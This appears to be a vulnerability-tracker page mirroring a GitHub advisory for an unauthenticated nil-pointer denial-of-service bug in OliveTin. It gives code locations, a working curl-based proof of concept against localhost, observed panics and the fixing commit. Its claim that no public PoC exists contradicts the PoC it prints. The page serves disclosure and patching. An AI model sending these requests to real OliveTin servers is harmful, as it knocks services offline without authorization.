GHSA-FWHJ-785H-43HH
OliveTin has crash on NPE by calling APIs with invalid bindings or log references
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-FWHJ-785H-43HH divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
### Summary
An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via `StartActionByGet` (invalid action ID), then calling `KillAction` or `RestartAction` on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (`Empty reply from server`), enabling denial of service through panic/log/CPU amplification.
### Details
The issue is caused by this flow:
- `StartActionByGet` accepts arbitrary `actionId` and still calls executor:
- `service/internal/api/api.go:239`
- Executor stores a log entry before binding validation:
- `service/internal/executor/executor.go:519`
- If binding is nil, execution stops, but the log entry remains:
- `service/internal/executor/executor.go:781`
- `KillAction` dereferences `execReqLogEntry.Binding.Action` without checking `Binding`:
- `service/internal/api/api.go:79`
- `RestartAction` has the same unsafe dereference:
- `service/internal/api/api.go:1285`
Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.
### PoC
Environment:
- OliveTin default single frontend on `http://localhost:1337`
- Reproduced on `main` (commit `235493e`) and tag `3000.11.0`
1) Create orphan tracking ID with invalid action:
```bash
T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \
-H 'Content-Type: application/json' \
--data '{"actionId":"does-not-exist"}' \
| sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p')
echo "$T"
- Trigger panic in RestartAction:
curl -v -X POST http://localhost:1337/api/RestartAction \
-H 'Content-Type: application/json' \
--data "{\"executionTrackingId\":\"$T\"}"
- Trigger panic in KillAction:
curl -v -X POST http://localhost:1337/api/KillAction \
-H 'Content-Type: application/json' \
--data "{\"executionTrackingId\":\"$T\"}"
Observed client output:
- curl: (52) Empty reply from server
Observed server log:
- panic serving ... runtime error: invalid memory address or nil pointer dereference
- stack points to:
- service/internal/api/api.go:79 (KillAction)
- service/internal/api/api.go:1285 (RestartAction)
```
### Impact
This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/OliveTin/OliveTin |
Corregida | commit bb14c5d | — | — |
commit bb14c5dArsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/OliveTin/OliveTin/security/advisories/GHSA-fwhj-785h-43hhhttps://github.com/OliveTin/OliveTin/commit/bb14c5da3e64b03f207c7f38139eb60e97c278fchttps://github.com/OliveTin/OliveTinhttps://github.com/OliveTin/OliveTin/releases/tag/3000.11.1Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
